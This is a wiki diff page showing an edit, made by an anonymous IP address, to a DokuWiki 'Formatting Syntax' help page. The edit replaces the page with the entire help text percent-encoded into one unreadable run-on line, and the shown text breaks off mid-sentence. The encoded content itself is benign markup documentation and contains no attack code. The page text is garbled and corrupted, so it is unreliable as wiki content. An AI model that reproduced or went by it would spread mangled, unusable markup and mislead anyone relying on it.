User Tools

Site Tools


wiki:syntax_9179

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
wiki:syntax_9179 [2023/01/02 14:24]
199.249.230.177 1
wiki:syntax_9179 [2023/01/02 14:27] (current)
23.129.64.220 1
Line 1: Line 1:
-====== ​Formatting Syntax ​====== +======%20Formatting%20Syntax%20======%0d%0a%0d%0a[[doku%26gt;DokuWiki]]%20supports%20some%20simple%20markup%20language%2c%20which%20tries%20to%20make%20the%20datafiles%20to%20be%20as%20readable%20as%20possible.%20This%20page%20contains%20all%20possible%20syntax%20you%20may%20use%20when%20editing%20the%20pages.%20Simply%20have%20a%20look%20at%20the%20source%20of%20this%20page%20by%20pressing%20%26quot;Edit%20this%20page%26quot;.%20If%20you%20want%20to%20try%20something%2c%20just%20use%20the%20[[playground:​playground%7cplayground]]%20page.%20The%20simpler%20markup%20is%20easily%20accessible%20via%20[[doku%26gt;toolbar%7cquickbuttons]]%2c%20too.%0d%0a%0d%0a=====%20Basic%20Text%20Formatting%20=====%0d%0a%0d%0aDokuWiki%20supports%20**bold**%2c%20//italic//%2c%20__underlined__%20and%20''​monospaced''​%20texts.%20Of%20course%20you%20can%20**__//''​combine''//​__**%20all%20these.%0d%0a%0d%0a%20%20DokuWiki%20supports%20**bold**%2c%20//italic//%2c%20__underlined__%20and%20''​monospaced''​%20texts.%0d%0a%20%20Of%20course%20you%20can%20**__//''​combine''//​__**%20all%20these.%0d%0a%0d%0aYou%20can%20use%20%26lt;sub%26gt;subscript%26lt;/sub%26gt;%20and%20%26lt;sup%26gt;​superscript%26lt;/sup%26gt;%2c%20too.%0d%0a%0d%0a%20%20You%20can%20use%20%26lt;sub%26gt;subscript%26lt;/sub%26gt;%20and%20%26lt;sup%26gt;​superscript%26lt;/sup%26gt;%2c%20too.%0d%0a%0d%0aYou%20can%20mark%20something%20as%20%26lt;del%26gt;deleted%26lt;/del%26gt;%20as%20well.%0d%0a%0d%0a%20%20You%20can%20mark%20something%20as%20%26lt;del%26gt;deleted%26lt;/del%26gt;%20as%20well.%0d%0a%0d%0a**Paragraphs**%20are%20created%20from%20blank%20lines.%20If%20you%20want%20to%20**force%20a%20newline**%20without%20a%20paragraph%2c%20you%20can%20use%20two%20backslashes%20followed%20by%20a%20whitespace%20or%20the%20end%20of%20line.%0d%0a%0d%0aThis%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0atwo%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0aor%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0a%20%20This%20is%20some%20text%20with%20some%20linebreaks%5c%5c%20Note%20that%20the%0d%0a%20%20two%20backslashes%20are%20only%20recognized%20at%20the%20end%20of%20a%20line%5c%5c%0d%0a%20%20or%20followed%20by%5c%5c%20a%20whitespace%20%5c%5cthis%20happens%20without%20it.%0d%0a%0d%0aYou%20should%20use%20forced%20newlines%20only%20if%20really%20needed.%0d%0a%0d%0a=====%20Links%20=====%0d%0a%0d%0aDokuWiki%20supports%20multiple%20ways%20of%20creating%20links.%0d%0a%0d%0a====%20External%20====%0d%0a%0d%0aExternal%20links%20are%20recognized%20automagically:%20http://​www.google.com%20or%20simply%20www.google.com%20-%20You%20can%20set%20the%20link%20text%20as%20well:%20[[http://​www.google.com%7cThis%20Link%20points%20to%20google]].%20Email%20addresses%20like%20this%20one:%20%26lt;andi%40splitbrain.org%26gt;%20are%20recognized%2c%20too.%0d%0a%0d%0a%20%20DokuWiki%20supports%20multiple%20ways%20of%20creating%20links.%20External%20links%20are%20recognized%0d%0a%20%20automagically:%20http://​www.google.com%20or%20simply%20www.google.com%20-%20You%20can%20set%0d%0a%20%20link%20text%20as%20well:%20[[http://​www.google.com%7cThis%20Link%20points%20to%20google]].%20Email%0d%0a%20%20addresses%20like%20this%20one:%20%26lt;andi%40splitbrain.org%26gt;%20are%20recognized%2c%20too.%0d%0a%0d%0a====%20Internal%20====%0d%0a%0d%0aInternal%20links%20are%20created%20by%20using%20square%20brackets.%20You%20can%20either%20just%20give%20a%20[[pagename]]%20or%20use%20an%20additional%20[[pagename%7clink%20text]].%0d%0a%0d%0a%20%20Internal%20links%20are%20created%20by%20using%20square%20brackets.%20You%20can%20either%20just%20give%0d%0a%20%20a%20[[pagename]]%20or%20use%20an%20additional%20[[pagename%7clink%20text]].%0d%0a%0d%0a[[doku%26gt;pagename%7cWiki%20pagenames]]%20are%20converted%20to%20lowercase%20automatically%2c%20special%20characters%20are%20not%20allowed.%0d%0a%0d%0aYou%20can%20use%20[[some:​namespaces]]%20by%20using%20a%20colon%20in%20the%20pagename.%0d%0a%0d%0a%20%20You%20can%20use%20[[some:​namespaces]]%20by%20using%20a%20colon%20in%20the%20pagename.%0d%0a%0d%0aFor%20details%20about%20namespaces%20see%20[[doku%26gt;​namespaces]].%0d%0a%0d%0aLinking%20to%20a%20specific%20section%20is%20possible%2c%20too.%20Just%20add%20the%20section%20name%20behind%20a%20hash%20character%20as%20known%20from%20HTML.%20This%20links%20to%20[[syntax%23internal%7cthis%20Section]].%0d%0a%0d%0a%20%20This%20links%20to%20[[syntax%23internal%7cthis%20Section]].%0d%0a%0d%0aNotes:%0d%0a%0d%0a%20%20*%20Links%20to%20[[syntax%7cexisting%20pages]]%20are%20shown%20in%20a%20different%20style%20from%20[[nonexisting]]%20ones.%0d%0a%20%20*%20DokuWiki%20does%20not%20use%20[[wp%26gt;​CamelCase]]%20to%20automatically%20create%20links%20by%20default%2c%20but%20this%20behavior%20can%20be%20enabled%20in%20the%20[[doku%26gt;config]]%20file.%20Hint:%20If%20DokuWiki%20is%20a%20link%2c%20then%20it's%20enabled.%0d%0a%20%20*%20When%20a%20section's%20heading%20is%20changed%2c%20its%20bookmark%20changes%2c%20too.%20So%20don't%20rely%20on%20section%20linking%20too%20much.%0d%0a%0d%0a====%20Interwiki%20====%0d%0a%0d%0aDokuWiki%20supports%20[[doku%26gt;​Interwiki]]%20links.%20These%20are%20quick%20links%20to%20other%20Wikis.%20For%20example%20this%20is%20a%20link%20to%20Wikipedia's%20page%20about%20Wikis:%20[[wp%26gt;Wiki]].%0d%0a%0d%0a%20%20DokuWiki%20supports%20[[doku%26gt;​Interwiki]]%20links.%20These%20are%20quick%20links%20to%20other%20Wikis.%0d%0a%20%20For%20example%20this%20is%20a%20link%20to%20Wikipedia's%20page%20about%20Wikis:%20[[wp%26gt;Wiki]].%0d%0a%0d%0a====%20Windows%20Shares%20====%0d%0a%0d%0aWindows%20shares%20like%20[[%5c%5cserver%5cshare%7cthis]]%20are%20recognized%2c%20too.%20Please%20note%20that%20these%20only%20make%20sense%20in%20a%20homogeneous%20user%20group%20like%20a%20corporate%20[[wp%26gt;​Intranet]].%0d%0a%0d%0a%20%20Windows%20Shares%20like%20[[%5c%5cserver%5cshare%7cthis]]%20are%20recognized%2c%20too.%0d%0a%0d%0aNotes:%0d%0a%0d%0a%20%20*%20For%20security%20reasons%20direct%20browsing%20of%20windows%20shares%20only%20works%20in%20Microsoft%20Internet%20Explorer%20per%20default%20(and%20only%20in%20the%20%26quot;local%20zone%26quot;).%0d%0a%20%20*%20For%20Mozilla%20and%20Firefox%20it%20can%20be%20enabled%20through%20different%20workaround%20mentioned%20in%20the%20[[http://​kb.mozillazine.org/​Links_to_local_pages_do_not_work%7cMozilla%20Knowledge%20Base]].%20However%2c%20there%20will%20still%20be%20a%20JavaScript%20warning%20about%20trying%20to%20open%20a%20Windows%20Share.%20To%20remove%20this%20warning%20(for%20all%20users)%2c%20put%20the%20following%20line%20in%20''​conf/​lang/​en/​lang.php''​%20(more%20details%20at%20[[doku%26gt;​localization%23changing_some_localized_texts_and_strings_in_your_installation%7clocalization]]):%20%26lt;code%20-%20conf/​lang/​en/​lang.php%26gt;%0d%0a%26lt;%3fphp%0d%0a/**%0d%0a%20*%20Customization%20of%20the%20english%20language%20file%0d%0a%20*%20Copy%20only%20the%20strings%20that%20needs%20to%20be%20modified%0d%0a%20*/%0d%0a%24lang['​js'​]['​nosmblinks'​]%20=%20'';​%0d%0a%26lt;/code%26gt;%0d%0a%0d%0a====%20Image%20Links%20====%0d%0a%0d%0aYou%20can%20also%20use%20an%20image%20to%20link%20to%20another%20internal%20or%20external%20page%20by%20combining%20the%20syntax%20for%20links%20and%20[[%23images_and_other_files%7cimages]]%20(see%20below)%20like%20this:%0d%0a%0d%0a%20%20[[http://​php.net%7c{{wiki:​dokuwiki-128.png}}]]%0d%0a%0d%0a[[http://​php.net%7c{{wiki:​dokuwiki-128.png}}]]%0d%0a%0d%0aPlease%20note:%20The%20image%20formatting%20is%20the%20only%20formatting%20syntax%20accepted%20in%20link%20names.%0d%0a%0d%0aThe%20whole%20[[%23images_and_other_files%7cimage]]%20and%20[[%23links%7clink]]%20syntax%20is%20supported%20(including%20image%20resizing%2c%20internal%20and%20external%20images%20and%20URLs%20and%20interwiki%20links).%0d%0a%0d%0a=====%20Footnotes%20=====%0d%0a%0d%0aYou%20can%20add%20footnotes%20((This%20is%20a%20footnote))%20by%20using%20double%20parentheses.%0d%0a%0d%0a%20%20You%20can%20add%20footnotes%20((This%20is%20a%20footnote))%20by%20using%20double%20parentheses.%0d%0a%0d%0a=====%20Sectioning%20=====%0d%0a%0d%0aYou%20can%20use%20up%20to%20five%20different%20levels%20of%20headlines%20to%20structure%20your%20content.%20If%20you%20have%20more%20than%20three%20headlines%2c%20a%20table%20of%20contents%20is%20generated%20automatically%20--%20this%20can%20be%20disabled%20by%20including%20the%20string%20''​%26lt;nowiki%26gt;%7e%7eNOTOC%7e%7e%26lt;/nowiki%26gt;''​%20in%20the%20document.%0d%0a%0d%0a====%20Headline%20Level%203%20====%0d%0a===%20Headline%20Level%204%20===%0d%0a==%20Headline%20Level%205%20==%0d%0a%0d%0a%20%20====%20Headline%20Level%203%20====%0d%0a%20%20===%20Headline%20Level%204%20===%0d%0a%20%20==%20Headline%20Level%205%20==%0d%0a%0d%0aBy%20using%20four%20or%20more%20dashes%2c%20you%20can%20make%20a%20horizontal%20line:%0d%0a%0d%0a----%0d%0a%0d%0a=====%20Media%20Files%20=====%0d%0a%0d%0aYou%20can%20include%20external%20and%20internal%20[[doku%26gt;images%7cimages%2c%20videos%20and%20audio%20files]]%20with%20curly%20brackets.%20Optionally%20you%20can%20specify%20the%20size%20of%20them.%0d%0a%0d%0aReal%20size:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20{{wiki:​dokuwiki-128.png}}%0d%0a%0d%0aResize%20to%20given%20width:%20%20%20%20%20%20%20%20%20%20%20%20{{wiki:​dokuwiki-128.png%3f50}}%0d%0a%0d%0aResize%20to%20given%20width%20and%20height((when%20the%20aspect%20ratio%20of%20the%20given%20width%20and%20height%20doesn't%20match%20that%20of%20the%20image%2c%20it%20will%20be%20cropped%20to%20the%20new%20ratio%20before%20resizing)):%20{{wiki:​dokuwiki-128.png%3f200x50}}%0d%0a%0d%0aResized%20external%20image:%20%20%20%20%20%20%20%20%20%20%20{{http://​php.net/​images/​php.gif%3f200x50}}%0d%0a%0d%0a%20%20Real%20size:%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20{{wiki:​dokuwiki-128.png}}%0d%0a%20%20Resize%20to%20given%20width:%20%20%20%20%20%20%20%20%20%20%20%20{{wiki:​dokuwiki-128.png%3f50}}%0d%0a%20%20Resize%20to%20given%20width%20and%20height:%20{{wiki:​dokuwiki-128.png%3f200x50}}%0d%0a%20%20Resized%20external%20image:%20%20%20%20%20%20%20%20%20%20%20{{http://​php.net/​images/​php.gif%3f200x50}}%0d%0a%0d%0a%0d%0aBy%20using%20left%20or%20right%20whitespaces%20you%20can%20choose%20the%20alignment.%0d%0a%0d%0a{{%20wiki:​dokuwiki-128.png}}%0d%0a%0d%0a{{wiki:​dokuwiki-128.png%20}}%0d%0a%0d%0a{{%20wiki:​dokuwiki-128.png%20}}%0d%0a%0d%0a%20%20{{%20wiki:​dokuwiki-128.png}}%0d%0a%20%20{{wiki:​dokuwiki-128.png%20}}%0d%0a%20%20{{%20wiki:​dokuwiki-128.png%20}}%0d%0a%0d%0aOf%20course%2c%20you%20can%20add%20a%20title%20(displayed%20as%20a%20tooltip%20by%20most%20browsers)%2c%20too.%0d%0a%0d%0a{{%20wiki:​dokuwiki-128.png%20%7cThis%20is%20the%20caption}}%0d%0a%0d%0a%20%20{{%20wiki:​dokuwiki-128.png%20%7cThis%20is%20the%20caption}}%0d%0a%0d%0aFor%20linking%20an%20image%20to%20another%20page%20see%20[[%23Image%20Links]]%20above.%0d%0a%0d%0a====%20Supported%20Media%20Formats%20====%0d%0a%0d%0aDokuWiki%20can%20embed%20the%20following%20media%20formats%20directly.%0d%0a%0d%0a%7c%20Image%20%7c%20''​gif''​%2c%20''​jpg''​%2c%20''​png''​%20%20%7c%0d%0a%7c%20Video%20%7c%20''​webm''​%2c%20''​ogv''​%2c%20''​mp4''​%20%7c%0d%0a%7c%20Audio%20%7c%20''​ogg''​%2c%20''​mp3''​%2c%20''​wav''​%20%20%7c%0d%0a%7c%20Flash%20%7c%20''​swf''​%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aIf%20you%20specify%20a%20filename%20that%20is%20not%20a%20supported%20media%20format%2c%20then%20it%20will%20be%20displayed%20as%20a%20link%20instead.%0d%0a%0d%0aBy%20adding%20''​%3flinkonly''​%20you%20provide%20a%20link%20to%20the%20media%20without%20displaying%20it%20inline%0d%0a%0d%0a%20%20{{wiki:​dokuwiki-128.png%3flinkonly}}%0d%0a%0d%0a{{wiki:​dokuwiki-128.png%3flinkonly}}%20This%20is%20just%20a%20link%20to%20the%20image.%0d%0a%0d%0a====%20Fallback%20Formats%20====%0d%0a%0d%0aUnfortunately%20not%20all%20browsers%20understand%20all%20video%20and%20audio%20formats.%20To%20mitigate%20the%20problem%2c%20you%20can%20upload%20your%20file%20in%20different%20formats%20for%20maximum%20browser%20compatibility.%0d%0a%0d%0aFor%20example%20consider%20this%20embedded%20mp4%20video:%0d%0a%0d%0a%20%20{{video.mp4%7cA%20funny%20video}}%0d%0a%0d%0aWhen%20you%20upload%20a%20''​video.webm''​%20and%20''​video.ogv''​%20next%20to%20the%20referenced%20''​video.mp4''​%2c%20DokuWiki%20will%20automatically%20add%20them%20as%20alternatives%20so%20that%20one%20of%20the%20three%20files%20is%20understood%20by%20your%20browser.%0d%0a%0d%0aAdditionally%20DokuWiki%20supports%20a%20%26quot;poster%26quot;%20image%20which%20will%20be%20shown%20before%20the%20video%20has%20started.%20That%20image%20needs%20to%20have%20the%20same%20filename%20as%20the%20video%20and%20be%20either%20a%20jpg%20or%20png%20file.%20In%20the%20example%20above%20a%20''​video.jpg''​%20file%20would%20work.%0d%0a%0d%0a=====%20Lists%20=====%0d%0a%0d%0aDokuwiki%20supports%20ordered%20and%20unordered%20lists.%20To%20create%20a%20list%20item%2c%20indent%20your%20text%20by%20two%20spaces%20and%20use%20a%20''​*''​%20for%20unordered%20lists%20or%20a%20''​-''​%20for%20ordered%20ones.%0d%0a%0d%0a%20%20*%20This%20is%20a%20list%0d%0a%20%20*%20The%20second%20item%0d%0a%20%20%20%20*%20You%20may%20have%20different%20levels%0d%0a%20%20*%20Another%20item%0d%0a%0d%0a%20%20-%20The%20same%20list%20but%20ordered%0d%0a%20%20-%20Another%20item%0d%0a%20%20%20%20-%20Just%20use%20indention%20for%20deeper%20levels%0d%0a%20%20-%20That's%20it%0d%0a%0d%0a%26lt;code%26gt;%0d%0a%20%20*%20This%20is%20a%20list%0d%0a%20%20*%20The%20second%20item%0d%0a%20%20%20%20*%20You%20may%20have%20different%20levels%0d%0a%20%20*%20Another%20item%0d%0a%0d%0a%20%20-%20The%20same%20list%20but%20ordered%0d%0a%20%20-%20Another%20item%0d%0a%20%20%20%20-%20Just%20use%20indention%20for%20deeper%20levels%0d%0a%20%20-%20That's%20it%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aAlso%20take%20a%20look%20at%20the%20[[doku%26gt;faq:lists%7cFAQ%20on%20list%20items]].%0d%0a%0d%0a=====%20Text%20Conversions%20=====%0d%0a%0d%0aDokuWiki%20can%20convert%20certain%20pre-defined%20characters%20or%20strings%20into%20images%20or%20other%20text%20or%20HTML.%0d%0a%0d%0aThe%20text%20to%20image%20conversion%20is%20mainly%20done%20for%20smileys.%20And%20the%20text%20to%20HTML%20conversion%20is%20used%20for%20typography%20replacements%2c%20but%20can%20be%20configured%20to%20use%20other%20HTML%20as%20well.%0d%0a%0d%0a====%20Text%20to%20Image%20Conversions%20====%0d%0a%0d%0aDokuWiki%20converts%20commonly%20used%20[[wp%26gt;​emoticon]]s%20to%20their%20graphical%20equivalents.%20Those%20[[doku%26gt;Smileys]]%20and%20other%20images%20can%20be%20configured%20and%20extended.%20Here%20is%20an%20overview%20of%20Smileys%20included%20in%20DokuWiki:%0d%0a%0d%0a%20%20*%208-)%20%25%25%20%208-)%20%20%25%25%0d%0a%20%20*%208-O%20%25%25%20%208-O%20%20%25%25%0d%0a%20%20*%20:-(%20%25%25%20%20:-(%20%20%25%25%0d%0a%20%20*%20:-)%20%25%25%20%20:-)%20%20%25%25%0d%0a%20%20*%20=)%20%20%25%25%20%20=)%20%20%20%25%25%0d%0a%20%20*%20:-/%20%25%25%20%20:-/%20%20%25%25%0d%0a%20%20*%20:-%5c%20%25%25%20%20:-%5c%20%20%25%25%0d%0a%20%20*%20:-%3f%20%25%25%20%20:-%3f%20%20%25%25%0d%0a%20%20*%20:-D%20%25%25%20%20:-D%20%20%25%25%0d%0a%20%20*%20:-P%20%25%25%20%20:-P%20%20%25%25%0d%0a%20%20*%20:-O%20%25%25%20%20:-O%20%20%25%25%0d%0a%20%20*%20:-X%20%25%25%20%20:-X%20%20%25%25%0d%0a%20%20*%20:-%7c%20%25%25%20%20:-%7c%20%20%25%25%0d%0a%20%20*%20;-)%20%25%25%20%20;-)%20%20%25%25%0d%0a%20%20*%20%5e_%5e%20%25%25%20%20%5e_%5e%20%20%25%25%0d%0a%20%20*%20:%3f:%20%25%25%20%20:%3f:%20%20%25%25%0d%0a%20%20*%20:!:%20%25%25%20%20:!:%20%20%25%25%0d%0a%20%20*%20LOL%20%25%25%20%20LOL%20%20%25%25%0d%0a%20%20*%20FIXME%20%25%25%20%20FIXME%20%25%25%0d%0a%20%20*%20DELETEME%20%25%25%20DELETEME%20%25%25%0d%0a%0d%0a====%20Text%20to%20HTML%20Conversions%20====%0d%0a%0d%0aTypography:%20[[DokuWiki]]%20can%20convert%20simple%20text%20characters%20to%20their%20typographically%20correct%20entities.%20Here%20is%20an%20example%20of%20recognized%20characters.%0d%0a%0d%0a-%26gt;%20%26lt;-%20%26lt;-%26gt;%20=%26gt;%20%26lt;=%20%26lt;=%26gt;%20%26gt;%26gt;%20%26lt;%26lt;%20--%20---%20640x480%20(c)%20(tm)%20(r)%0d%0a%26quot;He%20thought%20'​It'​s%20a%20man's%20world'...%26quot;%0d%0a%0d%0a%26lt;code%26gt;%0d%0a-%26gt;%20%26lt;-%20%26lt;-%26gt;%20=%26gt;%20%26lt;=%20%26lt;=%26gt;%20%26gt;%26gt;%20%26lt;%26lt;%20--%20---%20640x480%20(c)%20(tm)%20(r)%0d%0a%26quot;He%20thought%20'​It'​s%20a%20man's%20world'...%26quot;%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aThe%20same%20can%20be%20done%20to%20produce%20any%20kind%20of%20HTML%2c%20it%20just%20needs%20to%20be%20added%20to%20the%20[[doku%26gt;entities%7cpattern%20file]].%0d%0a%0d%0aThere%20are%20three%20exceptions%20which%20do%20not%20come%20from%20that%20pattern%20file:%20multiplication%20entity%20(640x480)%2c%20'​single'​%20and%20%26quot;double%20quotes%26quot;.%20They%20can%20be%20turned%20off%20through%20a%20[[doku%26gt;​config:​typography%7cconfig%20option]].%0d%0a%0d%0a=====%20Quoting%20=====%0d%0a%0d%0aSome%20times%20you%20want%20to%20mark%20some%20text%20to%20show%20it's%20a%20reply%20or%20comment.%20You%20can%20use%20the%20following%20syntax:%0d%0a%0d%0a%26lt;code%26gt;%0d%0aI%20think%20we%20should%20do%20it%0d%0a%0d%0a%26gt;%20No%20we%20shouldn't%0d%0a%0d%0a%26gt;%26gt;%20Well%2c%20I%20say%20we%20should%0d%0a%0d%0a%26gt;%20Really%3f%0d%0a%0d%0a%26gt;%26gt;%20Yes!%0d%0a%0d%0a%26gt;%26gt;%26gt;%20Then%20lets%20do%20it!%0d%0a%26lt;/code%26gt;%0d%0a%0d%0aI%20think%20we%20should%20do%20it%0d%0a%0d%0a%26gt;%20No%20we%20shouldn't%0d%0a%0d%0a%26gt;%26gt;%20Well%2c%20I%20say%20we%20should%0d%0a%0d%0a%26gt;%20Really%3f%0d%0a%0d%0a%26gt;%26gt;%20Yes!%0d%0a%0d%0a%26gt;%26gt;%26gt;%20Then%20lets%20do%20it!%0d%0a%0d%0a=====%20Tables%20=====%0d%0a%0d%0aDokuWiki%20supports%20a%20simple%20syntax%20to%20create%20tables.%0d%0a%0d%0a%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%7c%20Row%201%20Col%201%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%202%20Col%201%20%20%20%20%7c%20some%20colspan%20(note%20the%20double%20pipe)%20%7c%7c%0d%0a%7c%20Row%203%20Col%201%20%20%20%20%7c%20Row%203%20Col%202%20%20%20%20%20%7c%20Row%203%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aTable%20rows%20have%20to%20start%20and%20end%20with%20a%20''​%7c''​%20for%20normal%20rows%20or%20a%20''​%5e''​%20for%20headers.%0d%0a%0d%0a%20%20%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%7c%20Row%201%20Col%201%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%202%20Col%201%20%20%20%20%7c%20some%20colspan%20(note%20the%20double%20pipe)%20%7c%7c%0d%0a%20%20%7c%20Row%203%20Col%201%20%20%20%20%7c%20Row%203%20Col%202%20%20%20%20%20%7c%20Row%203%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aTo%20connect%20cells%20horizontally%2c%20just%20make%20the%20next%20cell%20completely%20empty%20as%20shown%20above.%20Be%20sure%20to%20have%20always%20the%20same%20amount%20of%20cell%20separators!%0d%0a%0d%0aVertical%20tableheaders%20are%20possible%2c%20too.%0d%0a%0d%0a%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%201%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%5e%20Heading%203%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%5e%20Heading%204%20%20%20%20%7c%20no%20colspan%20this%20time%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%5e%20Heading%205%20%20%20%20%7c%20Row%202%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aAs%20you%20can%20see%2c%20it's%20the%20cell%20separator%20before%20a%20cell%20which%20decides%20about%20the%20formatting:%0d%0a%0d%0a%20%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%201%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%5e%20Heading%203%20%20%20%20%7c%20Row%201%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%5e%20Heading%204%20%20%20%20%7c%20no%20colspan%20this%20time%20%7c%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%5e%20Heading%205%20%20%20%20%7c%20Row%202%20Col%202%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aYou%20can%20have%20rowspans%20(vertically%20connected%20cells)%20by%20adding%20''​%25%25:::%25%25''​%20into%20the%20cells%20below%20the%20one%20to%20which%20they%20should%20connect.%0d%0a%0d%0a%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%7c%20Row%201%20Col%201%20%20%20%20%7c%20this%20cell%20spans%20vertically%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%202%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%7c%20Row%203%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aApart%20from%20the%20rowspan%20syntax%20those%20cells%20should%20not%20contain%20anything%20else.%0d%0a%0d%0a%20%20%5e%20Heading%201%20%20%20%20%20%20%5e%20Heading%202%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5e%20Heading%203%20%20%20%20%20%20%20%20%20%20%5e%0d%0a%20%20%7c%20Row%201%20Col%201%20%20%20%20%7c%20this%20cell%20spans%20vertically%20%7c%20Row%201%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%202%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7c%20Row%203%20Col%201%20%20%20%20%7c%20:::%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7c%20Row%202%20Col%203%20%20%20%20%20%20%20%20%7c%0d%0a%0d%0aYou%20can%20align%20the%20table%20contents%2c%20too.%20Just%20add%20at%20least%20two%20whitespaces%20at%20the%20opposite%20end%20of%20your%20text:%20Add%20two%20spaces%20on%20the%20left%20to%20align%20right%2c%20two%20spaces%20on%20the%20right%20to%20align%20left%20and%20two%20spaces%20at%20least%20at%20both%20ends%20for%20centered%20text.%0d%0a%0d%0a%5e%20%20%20%20%20%20%20%20%20%20%20Table%20with%20alignment%20%20%20%20%20%20%20%20%20%20%20%5e%5e%5e%0d%0a%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%7cleft%20%20%20%20%20%20%20%20%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7c%0d%0a%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%0d%0a%0d%0aThis%20is%20how%20it%20looks%20in%20the%20source:%0d%0a%0d%0a%20%20%5e%20%20%20%20%20%20%20%20%20%20%20Table%20with%20alignment%20%20%20%20%20%20%20%20%20%20%20%5e%5e%5e%0d%0a%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%0d%0a%20%20%7cleft%20%20%20%20%20%20%20%20%20%20%7c%20%20%20%20%20%20%20%20%20right%7c%20%20%20%20center%20%20%20%20%7c%0d%0a%20%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%20xxxxxxxxxxxx%20%7c%0d%0a%0d%0aNote:%20Vertical%20alignment%20is%20not%20supported.%0d%0a%0d%0a=====%20No%20Formatting%20=====%0d%0a%0d%0aIf%20you%20need%20to%20display%20text%20exactly%20like%20it%20is%20typed%20(without%20any%20formatting)%2c%20enclose%20the%20area%20either%20with%20''​%25%25%26lt;nowiki%26gt;%25%25''​%20tags%20or%20even%20simpler%2c%20with%20double%20percent%20signs%20''​%26lt;nowiki%26gt;%25%25%26lt;/nowiki%26gt;''​.%0d%0a%0d%0a%26lt;nowiki%26gt;%0d%0aThis%20is%20some%20text%20which%20contains%20addresses%20like%20this:%20http://​www.splitbrain.org%20and%20**formatting**%2c%20but%20nothing%20is%20done%20with%20it.%0d%0a%26lt;/nowiki%26gt;%0d%0aThe%20same%20is%20true%20for%20%25%25//__this__%20text//%20with%20a%20smiley%20;-)%25%25.%0d%0a%0d%0a%20%20%26lt;nowiki%26gt;%0d%0a%20%20This%20is%20some%20text%20which%20contains%20addresses%20like%20this:%20http://​www.splitbrain.org%20and%20**formatting**%2c%20but%20nothing%20is%20done%20with%20it.%0d%0a%20%20%26lt;/nowiki%26gt;%0d%0a%20%20The%20same%20is%20true%20for%20%25%25//__this__%20text//%20with%20a%20smiley%20;-)%25%25.%0d%0a%0d%0a=====%20Code%20Blocks%20=====%0d%0a%0d%0aYou%20can%20include%20